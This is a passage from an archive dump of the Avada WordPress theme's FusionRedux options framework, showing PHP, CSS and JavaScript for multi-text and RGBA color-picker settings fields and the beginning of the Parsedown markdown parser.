    '; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_script( 'fusionredux-field-multi-text-js', FusionReduxFramework::$_url . 'inc/fields/multi_text/field_multi_text' . FusionRedux_Functions::isMin() . '.js', array( 'jquery', 'fusionredux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'fusionredux-field-multi-text-css', FusionReduxFramework::$_url . 'inc/fields/multi_text/field_multi_text.css', array(), time(), 'all' ); } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/multi_text/field_multi_text.css000064400000001672152342437710027423 0ustar00.fusionredux-container-multi_text ul.fusionredux-multi-text{margin:0;padding:0}.fusionredux-container-multi_text .fusionredux-multi-text-add{clear:both;margin:5px 0}.fusionredux-container-multi_text a.fusionredux-multi-text-remove.deletion{color:red;padding:2px 4px;margin-left:5px}.fusionredux-container-multi_text a.fusionredux-multi-text-remove.deletion:hover{background:red;color:#fff;text-decoration:none}@media screen and (max-width: 782px){.fusionredux-container-multi_text input{clear:both}.fusionredux-container-multi_text .fusionredux-multi-text-remove{margin:0;float:right}}.wp-customizer .fusionredux-container-multi_text .button{float:right}.wp-customizer .fusionredux-container-multi_text .fusionredux-multi-text-remove{float:right;margin-bottom:5px}.wp-customizer .fusionredux-container-multi_text ul.fusionredux-multi-text input{width:100% !important}/*# sourceMappingURL=FusionReduxCore/inc/fields/multi_text/field_multi_text.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_rgba/field_color_rgba.scss000064400000003224152342437710027427 0ustar00.sp-container { /* border: solid 1px black; -webkit-box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5), 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, 0.8); box-shadow: inset 0 2px 5px -3px rgba(0, 0, 0, 0.5), 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, 0.8);*/ color: #555; border-color: #cccccc; background: #f7f7f7; -webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 ); box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 ); vertical-align: top; } .sp-replacer { color: #555; border-color: #cccccc; background: #f7f7f7; -webkit-box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 ); box-shadow: inset 0 1px 0 #fff, 0 1px 0 rgba( 0, 0, 0, 0.08 ); vertical-align: top; } .sp-replacer:focus, .sp-replacer:hover, .sp-replacer.focus, .sp-replacer.hover { background: #fafafa; border-color: #999; color: #222; } .sp-replacer:focus, .sp-replacer.focus { -webkit-box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8); box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8); } .sp-replacer.active:focus { -webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ), 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8); box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ), 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8); } .sp-replacer.active, .sp-replacer.active:hover, .sp-replacer:active{ background: #eee; border-color: #999; color: #333; -webkit-box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ); box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 ); }Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_rgba/field_color_rgba.min.js000064400000007336152342437710027662 0ustar00!function(e){"use strict";fusionredux.field_objects=fusionredux.field_objects||{},fusionredux.field_objects.color_rgba=fusionredux.field_objects.color_rgba||{},fusionredux.field_objects.color_rgba.fieldID="",fusionredux.field_objects.color_rgba.hexToRGBA=function(e,a){var o;null===e?o="":(e=e.replace("#",""),o="rgba("+parseInt(e.substring(0,2),16)+","+parseInt(e.substring(2,4),16)+","+parseInt(e.substring(4,6),16)+","+a+")");return o},fusionredux.field_objects.color_rgba.init=function(a){a||(a=e(document).find(".fusionredux-group-tab:visible").find(".fusionredux-container-color_rgba:visible")),e(a).each(function(){var a=e(this),o=a;a.hasClass("fusionredux-field-container")||(o=a.parents(".fusionredux-field-container:first")),o.is(":hidden")||o.hasClass("fusionredux-field-init")&&(o.removeClass("fusionredux-field-init"),fusionredux.field_objects.color_rgba.modInit(a),fusionredux.field_objects.color_rgba.initColorPicker(a))})},fusionredux.field_objects.color_rgba.modInit=function(e){fusionredux.field_objects.color_rgba.fieldID=e.find(".fusionredux-color_rgba-container").data("id")},fusionredux.field_objects.color_rgba.initColorPicker=function(a){var o=fusionredux.field_objects.color_rgba.fieldID,r=a.find(".fusionredux-color-rgba"),t=r.data("current-alpha");t=Number(null==t?1:t);var n=r.data("current-color");n=""===n||"transparent"===n?"":n;var f=r.data("output-transparent");f=Boolean(""!==f&&f);var c=a.find(".fusionredux-color-rgba-container"),i=c.data("palette");i=decodeURIComponent(i),null===(i=JSON.parse(i))&&(i=[["#000000","#434343","#666666","#999999","#b7b7b7","#cccccc","#d9d9d9","#efefef","#f3f3f3","#ffffff"],["#980000","#ff0000","#ff9900","#ffff00","#00ff00","#00ffff","#4a86e8","#0000ff","#9900ff","#ff00ff"],["#e6b8af","#f4cccc","#fce5cd","#fff2cc","#d9ead3","#d9ead3","#c9daf8","#cfe2f3","#d9d2e9","#ead1dc"],["#dd7e6b","#ea9999","#f9cb9c","#ffe599","#b6d7a8","#a2c4c9","#a4c2f4","#9fc5e8","#b4a7d6","#d5a6bd"],["#cc4125","#e06666","#f6b26b","#ffd966","#93c47d","#76a5af","#6d9eeb","#6fa8dc","#8e7cc3","#c27ba0"],["#a61c00","#cc0000","#e69138","#f1c232","#6aa84f","#45818e","#3c78d8","#3d85c6","#674ea7","#a64d79"],["#85200c","#990000","#b45f06","#bf9000","#38761d","#134f5c","#1155cc","#0b5394","#351c75","#741b47"],["#5b0f00","#660000","#783f04","#7f6000","#274e13","#0c343d","#1c4587","#073763","#20124d","#4c1130"]]);var d=c.data("show-input");d=Boolean(""!==d&&d);var l=c.data("show-initial");l=Boolean(""!==l&&l);var s=c.data("show-alpha");s=Boolean(""!==s&&s);var u=c.data("allow-empty");u=Boolean(""!==u&&u);var b=c.data("show-palette");b=Boolean(""!==b&&b);var x=c.data("show-palette-only");x=Boolean(""!==x&&x);var p=c.data("show-selection-palette");p=Boolean(""!==p&&p);var g=Number(c.data("max-palette-size")),h=c.data("clickout-fires-change");h=Boolean(""!==h&&h);var _=String(c.data("choose-text")),v=String(c.data("cancel-text")),m=String(c.data("input-text")),w=c.data("show-buttons");w=Boolean(""!==w&&w);var j=String(c.data("container-class")),B=String(c.data("replacer-class"));r.spectrum({color:n,showAlpha:s,showInput:d,allowEmpty:u,className:"fusionredux-color-rgba",showInitial:l,showPalette:b,showSelectionPalette:p,maxPaletteSize:g,showPaletteOnly:x,clickoutFiresChange:h,chooseText:_,cancelText:v,showButtons:w,containerClassName:j,replacerClassName:B,preferredFormat:"hex6",localStorageKey:"fusionredux.color-rgba."+o,palette:i,inputText:m,change:function(o){var r,t,n;null===o?(r=!0===f?"transparent":null,t=null):(r=o.toHexString(),t=o.alpha),n="transparent"!=r?fusionredux.field_objects.color_rgba.hexToRGBA(r,t):"transparent";var c=e(this).data("block-id");a.find("input#"+c+"-color").val(r),a.find("input#"+c+"-alpha").val(t),a.find("input#"+c+"-rgba").val(n),fusionredux_change(a.find(".fusionredux-color-rgba-container"))}})}}(jQuery);Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_rgba/field_color_rgba.js000064400000022267152342437710027100 0ustar00(function($){ 'use strict'; fusionredux.field_objects = fusionredux.field_objects || {}; fusionredux.field_objects.color_rgba = fusionredux.field_objects.color_rgba || {}; fusionredux.field_objects.color_rgba.fieldID = ''; fusionredux.field_objects.color_rgba.hexToRGBA = function( hex, alpha ) { var result; if (hex === null) { result = ''; } else { hex = hex.replace('#', ''); var r = parseInt(hex.substring(0, 2), 16); var g = parseInt(hex.substring(2, 4), 16); var b = parseInt(hex.substring(4, 6), 16); result = 'rgba(' + r + ',' + g + ',' + b + ',' + alpha + ')'; } return result; }; fusionredux.field_objects.color_rgba.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".fusionredux-group-tab:visible" ).find( '.fusionredux-container-color_rgba:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'fusionredux-field-container' ) ) { parent = el.parents( '.fusionredux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'fusionredux-field-init' ) ) { parent.removeClass( 'fusionredux-field-init' ); } else { return; } fusionredux.field_objects.color_rgba.modInit(el); fusionredux.field_objects.color_rgba.initColorPicker(el); }); }; fusionredux.field_objects.color_rgba.modInit = function(el) { fusionredux.field_objects.color_rgba.fieldID = el.find('.fusionredux-color_rgba-container').data('id'); }; // Initialize colour picker fusionredux.field_objects.color_rgba.initColorPicker = function(el){ // Get field ID var field_id = fusionredux.field_objects.color_rgba.fieldID; // Get the color scheme container var colorpickerInput = el.find('.fusionredux-color-rgba'); // Get alpha value and sanitize it var currentAlpha = colorpickerInput.data('current-alpha'); currentAlpha = Number((currentAlpha === null || currentAlpha === undefined) ? 1 : currentAlpha); // Get colour value and sanitize it var currentColor = colorpickerInput.data('current-color'); currentColor = (currentColor === '' || currentColor === 'transparent') ? '' : currentColor; var outputTransparent = colorpickerInput.data('output-transparent'); outputTransparent = Boolean((outputTransparent === '') ? false : outputTransparent); // Color picker arguments var container = el.find('.fusionredux-color-rgba-container'); // Get, decode and parse palette. var palette = container.data('palette'); palette = decodeURIComponent(palette); palette = JSON.parse(palette); // Default palette if (palette === null) { palette = [ ["#000000", "#434343", "#666666", "#999999", "#b7b7b7", "#cccccc", "#d9d9d9", "#efefef", "#f3f3f3", "#ffffff"], ["#980000", "#ff0000", "#ff9900", "#ffff00", "#00ff00", "#00ffff", "#4a86e8", "#0000ff", "#9900ff", "#ff00ff"], ["#e6b8af", "#f4cccc", "#fce5cd", "#fff2cc", "#d9ead3", "#d9ead3", "#c9daf8", "#cfe2f3", "#d9d2e9", "#ead1dc"], ["#dd7e6b", "#ea9999", "#f9cb9c", "#ffe599", "#b6d7a8", "#a2c4c9", "#a4c2f4", "#9fc5e8", "#b4a7d6", "#d5a6bd"], ["#cc4125", "#e06666", "#f6b26b", "#ffd966", "#93c47d", "#76a5af", "#6d9eeb", "#6fa8dc", "#8e7cc3", "#c27ba0"], ["#a61c00", "#cc0000", "#e69138", "#f1c232", "#6aa84f", "#45818e", "#3c78d8", "#3d85c6", "#674ea7", "#a64d79"], ["#85200c", "#990000", "#b45f06", "#bf9000", "#38761d", "#134f5c", "#1155cc", "#0b5394", "#351c75", "#741b47"], ["#5b0f00", "#660000", "#783f04", "#7f6000", "#274e13", "#0c343d", "#1c4587", "#073763", "#20124d", "#4c1130"] ]; } // Get and sanitize show input argument var showInput = container.data('show-input'); showInput = Boolean((showInput === '') ? false : showInput); // Get and sanitize show initial argument var showInitial = container.data('show-initial'); showInitial = Boolean((showInitial === '') ? false : showInitial); // Get and sanitize show alpha argument var showAlpha = container.data('show-alpha'); showAlpha = Boolean((showAlpha === '') ? false : showAlpha); // Get and sanitize allow empty argument var allowEmpty = container.data('allow-empty'); allowEmpty = Boolean((allowEmpty === '') ? false : allowEmpty); // Get and sanitize show palette argument var showPalette = container.data('show-palette'); showPalette = Boolean((showPalette === '') ? false : showPalette); // Get and sanitize show palette only argument var showPaletteOnly = container.data('show-palette-only'); showPaletteOnly = Boolean((showPaletteOnly === '') ? false : showPaletteOnly); // Get and sanitize show selection palette argument var showSelectionPalette = container.data('show-selection-palette'); showSelectionPalette = Boolean((showSelectionPalette === '') ? false : showSelectionPalette); // Get max palette size var maxPaletteSize = Number(container.data('max-palette-size')); // Get and sanitize clickout fires change argument var clickoutFiresChange = container.data('clickout-fires-change'); clickoutFiresChange = Boolean((clickoutFiresChange === '') ? false : clickoutFiresChange); // Get choose button text var chooseText = String(container.data('choose-text')); // Get cancel button text var cancelText = String(container.data('cancel-text')); // Get cancel button text var inputText = String(container.data('input-text')); // Get and sanitize show buttons argument var showButtons = container.data('show-buttons'); showButtons = Boolean((showButtons === '') ? false : showButtons); // Get container class var containerClass = String(container.data('container-class')); // Get replacer class var replacerClass = String(container.data('replacer-class')); // Color picker options colorpickerInput.spectrum({ color: currentColor, //'#ffffff', showAlpha: showAlpha, showInput: showInput, allowEmpty: allowEmpty, className: 'fusionredux-color-rgba', showInitial: showInitial, showPalette: showPalette, showSelectionPalette: showSelectionPalette, maxPaletteSize: maxPaletteSize, showPaletteOnly: showPaletteOnly, clickoutFiresChange: clickoutFiresChange, chooseText: chooseText, cancelText: cancelText, showButtons: showButtons, containerClassName: containerClass, replacerClassName: replacerClass, preferredFormat: 'hex6', localStorageKey: 'fusionredux.color-rgba.' + field_id, palette: palette, inputText: inputText, // on change change: function(color) { var colorVal, alphaVal, rgbaVal; if (color === null) { if (outputTransparent === true) { colorVal = 'transparent'; } else { colorVal = null; } alphaVal = null; } else { colorVal = color.toHexString(); alphaVal = color.alpha; } if (colorVal != 'transparent') { rgbaVal = fusionredux.field_objects.color_rgba.hexToRGBA(colorVal, alphaVal); } else { rgbaVal = 'transparent'; } var blockID = $(this).data('block-id'); // Update HTML color value el.find('input#' + blockID + '-color').val(colorVal); // Update HTML alpha value el.find('input#' + blockID + '-alpha').val(alphaVal); // Update RGBA alpha value el.find('input#' + blockID + '-rgba').val(rgbaVal); fusionredux_change(el.find('.fusionredux-color-rgba-container')); } }); }; })(jQuery); Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_rgba/field_color_rgba.php000064400000026676152342437710027263 0ustar00. * * @package FusionRedux Framework * @subpackage Spectrum Color Picker * @author Kevin Provance (kprovance) * @version 1.0.0 */ // Exit if accessed directly if( !defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if( !class_exists( 'FusionReduxFramework_color_rgba' ) ) { /** * Main FusionReduxFramework_color_rgba class * * @since 1.0.0 */ class FusionReduxFramework_color_rgba { public $parent; public $field; public $value; /** * Class Constructor. Defines the args for the extions class * * @since 1.0.0 * @access public * @param array $field Field sections. * @param array $value Values. * @param array $parent Parent object. * @return void */ public function __construct( $field = array(), $value ='', $parent = null ) { // Set required variables $this->parent = $parent; $this->field = $field; $this->value = $value; $defaults = array( 'color' => '', 'alpha' => 1, 'rgba' => '' ); $this->value = wp_parse_args( $this->value, $defaults ); $this->field['options']['show_input'] = isset($this->field['options']['show_input']) ? $this->field['options']['show_input'] : true; $this->field['options']['show_initial'] = isset($this->field['options']['show_initial']) ? $this->field['options']['show_initial'] : false; $this->field['options']['show_alpha'] = isset($this->field['options']['show_alpha']) ? $this->field['options']['show_alpha'] : true; $this->field['options']['show_palette'] = isset($this->field['options']['show_palette']) ? $this->field['options']['show_palette'] : false; $this->field['options']['show_palette_only'] = isset($this->field['options']['show_palette_only']) ? $this->field['options']['show_palette_only'] : false; $this->field['options']['max_palette_size'] = isset($this->field['options']['max_palette_size']) ? $this->field['options']['max_palette_size'] : 10; $this->field['options']['show_selection_palette'] = isset($this->field['options']['show_selection_palette']) ? $this->field['options']['show_selection_palette'] : false; $this->field['options']['allow_empty'] = isset($this->field['options']['allow_empty']) ? $this->field['options']['allow_empty'] : true; $this->field['options']['clickout_fires_change'] = isset($this->field['options']['clickout_fires_change']) ? $this->field['options']['clickout_fires_change'] : false; $this->field['options']['choose_text'] = isset($this->field['options']['choose_text']) ? $this->field['options']['choose_text'] : 'Choose'; $this->field['options']['cancel_text'] = isset($this->field['options']['cancel_text']) ? $this->field['options']['cancel_text'] : 'Cancel'; $this->field['options']['show_buttons'] = isset($this->field['options']['show_buttons']) ? $this->field['options']['show_buttons'] : true; $this->field['options']['palette'] = isset($this->field['options']['palette']) ? $this->field['options']['palette'] : null; $this->field['options']['input_text'] = isset($this->field['options']['input_text']) ? $this->field['options']['input_text'] : 'Select Color'; // Convert empty array to null, if there. $this->field['options']['palette'] = empty($this->field['options']['palette']) ? null : $this->field['options']['palette']; $this->field['output_transparent'] = isset($this->field['output_transparent']) ? $this->field['output_transparent'] : false; } /** * Field Render Function. * * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $field_id = $this->field['id']; // Color picker container echo '
    '; // Colour picker layout $opt_name = $this->parent->args['opt_name']; if ('' == $this->value['color'] || 'transparent' == $this->value['color']) { $color = ''; } else { $color = FusionRedux_Helpers::hex2rgba($this->value['color'], $this->value['alpha']); } if ($this->value['rgba'] == ''){ $this->value['rgba'] = FusionRedux_Helpers::hex2rgba($this->value['color'], $this->value['alpha']); } echo ''; echo ''; // Hidden input for alpha channel echo ''; // Hidden input for rgba echo ''; echo '
    '; } /** * Enqueue Function. * * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { // Set up min files for dev_mode = false. $min = FusionRedux_Functions::isMin(); // Field dependent JS if (!wp_script_is ( 'fusionredux-field-color-rgba-js' )) { wp_enqueue_script( 'fusionredux-field-color-rgba-js', FusionReduxFramework::$_url . 'inc/fields/color_rgba/field_color_rgba' . FusionRedux_Functions::isMin() . '.js', array('jquery', 'fusionredux-spectrum-js'), time(), true ); } // Spectrum CSS if (!wp_style_is ( 'fusionredux-spectrum-css' )) { wp_enqueue_style('fusionredux-spectrum-css'); } if ($this->parent->args['dev_mode']) { if (!wp_style_is ( 'fusionredux-field-color-rgba-css' )) { wp_enqueue_style( 'fusionredux-field-color-rgba-css', FusionReduxFramework::$_url . 'inc/fields/color_rgba/field_color_rgba.css', array(), time(), 'all' ); } } } /** * getColorVal. Returns formatted color val in hex or rgba. * * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access private * @return string */ private function getColorVal(){ // No notices $color = ''; $alpha = 1; $rgba = ''; // Must be an array if (is_array($this->value)) { // Enum array to parse values foreach($this->value as $id => $val) { // Sanitize alpha if ($id == 'alpha') { $alpha = !empty($val) ? $val : 1; } elseif ($id == 'color') { $color = !empty($val) ? $val : ''; } elseif ($id == 'rgba') { $rgba = !empty($val) ? $val : ''; $rgba = FusionRedux_Helpers::hex2rgba($color, $alpha); } } // Only build rgba output if alpha ia less than 1 if ( $alpha < 1 && $alpha <> '' ) { $color = $rgba; } } return $color; } /** * Output Function. * * Used to enqueue to the front-end * * @since 1.0.0 * @access public * @return void */ public function output() { if (!empty($this->value)) { $style = ''; $mode = ( isset( $this->field['mode'] ) && ! empty( $this->field['mode'] ) ? $this->field['mode'] : 'color' ); $color_val = $this->getColorVal(); $style .= $mode . ':' . $color_val . ';'; if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { if (!empty($color_val)) { $css = FusionRedux_Functions::parseCSS( $this->field['output'], $style, $color_val ); $this->parent->outputCSS .= $css; } } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { if (!empty($color_val)) { $css = FusionRedux_Functions::parseCSS( $this->field['compiler'], $style, $color_val ); $this->parent->compilerCSS .= $css ; } } } } } } Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/color_rgba/field_color_rgba.css000064400000002275152342437710027251 0ustar00.sp-container{color:#555;border-color:#ccc;background:#f7f7f7;-webkit-box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);vertical-align:top}.sp-replacer{color:#555;border-color:#ccc;background:#f7f7f7;-webkit-box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);box-shadow:inset 0 1px 0 #fff,0 1px 0 rgba(0,0,0,.08);vertical-align:top}.sp-replacer:focus,.sp-replacer:hover,.sp-replacer.focus,.sp-replacer.hover{background:#fafafa;border-color:#999;color:#222}.sp-replacer:focus,.sp-replacer.focus{-webkit-box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8)}.sp-replacer.active:focus{-webkit-box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8);box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5),0 0 0 1px #5b9dd9,0 0 2px 1px rgba(30,140,190,.8)}.sp-replacer.active,.sp-replacer.active:hover,.sp-replacer:active{background:#eee;border-color:#999;color:#333;-webkit-box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5);box-shadow:inset 0 2px 5px -3px rgba(0,0,0,.5)}/*# sourceMappingURL=FusionReduxCore/inc/fields/color_rgba/field_color_rgba.css.map */ Avada/includes/lib/inc/redux/framework/FusionReduxCore/inc/fields/raw/parsedown.php000064400000111417152342437710024455 0ustar00DefinitionData = array(); # standardize line breaks $text = str_replace(array("\r\n", "\r"), "\n", $text); # remove surrounding line breaks $text = trim($text, "\n"); # split text into lines $lines = explode("\n", $text); # iterate through lines to identify blocks $markup = $this->lines($lines); # trim line breaks $markup = trim($markup, "\n"); return $markup; } # # Setters # function setBreaksEnabled($breaksEnabled) { $this->breaksEnabled = $breaksEnabled; return $this; } protected $breaksEnabled; function setMarkupEscaped($markupEscaped) { $this->markupEscaped = $markupEscaped; return $this; } protected $markupEscaped; function setUrlsLinked($urlsLinked) { $this->urlsLinked = $urlsLinked; return $this; } protected $urlsLinked = true; # # Lines # protected $BlockTypes = array( '#' => array('Header'), '*' => array('Rule', 'List'), '+' => array('List'), '-' => array('SetextHeader', 'Table', 'Rule', 'List'), '0' => array('List'), '1' => array('List'), '2' => array('List'), '3' => array('List'), '4' => array('List'), '5' => array('List'), '6' => array('List'), '7' => array('List'), '8' => array('List'), '9' => array('List'), ':' => array('Table'), '<' => array('Comment', 'Markup'), '=' => array('SetextHeader'), '>' => array('Quote'), '[' => array('Reference'), '_' => array('Rule'), '`' => array('FencedCode'), '|' => array('Table'), '~' => array('FencedCode'), ); # ~ protected $unmarkedBlockTypes = array( 'Code', ); # # Blocks # protected function lines(array $lines) { $CurrentBlock = null; foreach ($lines as $line) { if (chop($line) === '') { if (isset($CurrentBlock)) { $CurrentBlock['interrupted'] = true; } continue; } if (strpos($line, "\t") !== false) { $parts = explode("\t", $line); $line = $parts[0]; unset($parts[0]); foreach ($parts as $part) { $shortage = 4 - mb_strlen($line, 'utf-8') % 4; $line .= str_repeat(' ', $shortage); $line .= $part; } } $indent = 0; while (isset($line[$indent]) and $line[$indent] === ' ') { $indent ++; } $text = $indent > 0 ? substr($line, $indent) : $line; # ~ $Line = array('body' => $line, 'indent' => $indent, 'text' => $text); # ~ if (isset($CurrentBlock['continuable'])) { $Block = $this->{'block'.$CurrentBlock['type'].'Continue'}($Line, $CurrentBlock); if (isset($Block)) { $CurrentBlock = $Block; continue; } else { if ($this->isBlockCompletable($CurrentBlock['type'])) { $CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock); } } } # ~ $marker = $text[0]; # ~ $blockTypes = $this->unmarkedBlockTypes; if (isset($this->BlockTypes[$marker])) { foreach ($this->BlockTypes[$marker] as $blockType) { $blockTypes []= $blockType; } } # # ~ foreach ($blockTypes as $blockType) { $Block = $this->{'block'.$blockType}($Line, $CurrentBlock); if (isset($Block)) { $Block['type'] = $blockType; if ( ! isset($Block['identified'])) { $Blocks []= $CurrentBlock; $Block['identified'] = true; } if ($this->isBlockContinuable($blockType)) { $Block['continuable'] = true; } $CurrentBlock = $Block; continue 2; } } # ~ if (isset($CurrentBlock) and ! isset($CurrentBlock['type']) and ! isset($CurrentBlock['interrupted'])) { $CurrentBlock['element']['text'] .= "\n".$text; } else { $Blocks []= $CurrentBlock; $CurrentBlock = $this->paragraph($Line); $CurrentBlock['identified'] = true; } } # ~ if (isset($CurrentBlock['continuable']) and $this->isBlockCompletable($CurrentBlock['type'])) { $CurrentBlock = $this->{'block'.$CurrentBlock['type'].'Complete'}($CurrentBlock); } # ~ $Blocks []= $CurrentBlock; unset($Blocks[0]); # ~ $markup = ''; foreach ($Blocks as $Block) { if (isset($Block['hidden'])) { continue; } $markup .= "\n"; $markup .= isset($Block['markup']) ? $Block['markup'] : $this->element($Block['element']); } $markup .= "\n"; # ~ return $markup; } # # Allow for plugin extensibility # protected function isBlockContinuable($Type) { return method_exists($this, 'block'.$Type.'Continue'); } protected function isBlockCompletable($Type) { return method_exists($this, 'block'.$Type.'Complete'); } # # Code protected function blockCode($Line, $Block = null) { if (isset($Block) and ! isset($Block['type']) and ! isset($Block['interrupted'])) { return; } if ($Line['indent'] >= 4) { $text = substr($Line['body'], 4); $Block = array( 'element' => array( 'name' => 'pre', 'handler' => 'element', 'text' => array( 'name' => 'code', 'text' => $text, ), ), ); return $Block; } } protected function blockCodeContinue($Line, $Block) { if ($Line['indent'] >= 4) { if (isset($Block['interrupted'])) { $Block['element']['text']['text'] .= "\n"; unset($Block['interrupted']); } $Block['element']['text']['text'] .= "\n"; $text = substr($Line['body'], 4); $Block['element']['text']['text'] .= $text; return $Block; } } protected function blockCodeComplete($Block) { $text = $Block['element']['text']['text']; $text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'); $Block['element']['text']['text'] = $text; return $Block; } # # Comment protected function blockComment($Line) { if ($this->markupEscaped) { return; } if (isset($Line['text'][3]) and $Line['text'][3] === '-' and $Line['text'][2] === '-' and $Line['text'][1] === '!') { $Block = array( 'markup' => $Line['body'], ); if (preg_match('/-->$/', $Line['text'])) { $Block['closed'] = true; } return $Block; } } protected function blockCommentContinue($Line, array $Block) { if (isset($Block['closed'])) { return; } $Block['markup'] .= "\n" . $Line['body']; if (preg_match('/-->$/', $Line['text'])) { $Block['closed'] = true; } return $Block; } # # Fenced Code protected function blockFencedCode($Line) { if (preg_match('/^['.$Line['text'][0].']{3,}[ ]*([\w-]+)?[ ]*$/', $Line['text'], $matches)) { $Element = array( 'name' => 'code', 'text' => '', ); if (isset($matches[1])) { $class = 'language-'.$matches[1]; $Element['attributes'] = array( 'class' => $class, ); } $Block = array( 'char' => $Line['text'][0], 'element' => array( 'name' => 'pre', 'handler' => 'element', 'text' => $Element, ), ); return $Block; } } protected function blockFencedCodeContinue($Line, $Block) { if (isset($Block['complete'])) { return; } if (isset($Block['interrupted'])) { $Block['element']['text']['text'] .= "\n"; unset($Block['interrupted']); } if (preg_match('/^'.$Block['char'].'{3,}[ ]*$/', $Line['text'])) { $Block['element']['text']['text'] = substr($Block['element']['text']['text'], 1); $Block['complete'] = true; return $Block; } $Block['element']['text']['text'] .= "\n".$Line['body'];; return $Block; } protected function blockFencedCodeComplete($Block) { $text = $Block['element']['text']['text']; $text = htmlspecialchars($text, ENT_NOQUOTES, 'UTF-8'); $Block['element']['text']['text'] = $text; return $Block; } # # Header protected function blockHeader($Line) { if (isset($Line['text'][1])) { $level = 1; while (isset($Line['text'][$level]) and $Line['text'][$level] === '#') { $level ++; } if ($level > 6) { return; } $text = trim($Line['text'], '# '); $Block = array( 'element' => array( 'name' => 'h' . min(6, $level), 'text' => $text, 'handler' => 'line', ), ); return $Block; } } # # List protected function blockList($Line) { list($name, $pattern) = $Line['text'][0] <= '-' ? array('ul', '[*+-]') : array('ol', '[0-9]+[.]'); if (preg_match('/^('.$pattern.'[ ]+)(.*)/', $Line['text'], $matches)) { $Block = array( 'indent' => $Line['indent'], 'pattern' => $pattern, 'element' => array( 'name' => $name, 'handler' => 'elements', ), ); $Block['li'] = array( 'name' => 'li', 'handler' => 'li', 'text' => array( $matches[2], ), ); $Block['element']['text'] []= & $Block['li']; return $Block; } } protected function blockListContinue($Line, array $Block) { if ($Block['indent'] === $Line['indent'] and preg_match('/^'.$Block['pattern'].'(?:[ ]+(.*)|$)/', $Line['text'], $matches)) { if (isset($Block['interrupted'])) { $Block['li']['text'] []= ''; unset($Block['interrupted']); } unset($Block['li']); $text = isset($matches[1]) ? $matches[1] : ''; $Block['li'] = array( 'name' => 'li', 'handler' => 'li', 'text' => array( $text, ), ); $Block['element']['text'] []= & $Block['li']; return $Block; } if ($Line['text'][0] === '[' and $this->blockReference($Line)) { return $Block; } if ( ! isset($Block['interrupted'])) { $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); $Block['li']['text'] []= $text; return $Block; } if ($Line['indent'] > 0) { $Block['li']['text'] []= ''; $text = preg_replace('/^[ ]{0,4}/', '', $Line['body']); $Block['li']['text'] []= $text; unset($Block['interrupted']); return $Block; } } # # Quote protected function blockQuote($Line) { if (preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { $Block = array( 'element' => array( 'name' => 'blockquote', 'handler' => 'lines', 'text' => (array) $matches[1], ), ); return $Block; } } protected function blockQuoteContinue($Line, array $Block) { if ($Line['text'][0] === '>' and preg_match('/^>[ ]?(.*)/', $Line['text'], $matches)) { if (isset($Block['interrupted'])) { $Block['element']['text'] []= ''; unset($Block['interrupted']); } $Block['element']['text'] []= $matches[1]; return $Block; } if ( ! isset($Block['interrupted'])) { $Block['element']['text'] []= $Line['text']; return $Block; } } # # Rule protected function blockRule($Line) { if (preg_match('/^(['.$Line['text'][0].'])([ ]*\1){2,}[ ]*$/', $Line['text'])) { $Block = array( 'element' => array( 'name' => 'hr' ), ); return $Block; } } # # Setext protected function blockSetextHeader($Line, array $Block = null) { if ( ! isset($Block) or isset($Block['type']) or isset($Block['interrupted'])) { return; } if (chop($Line['text'], $Line['text'][0]) === '') { $Block['element']['name'] = 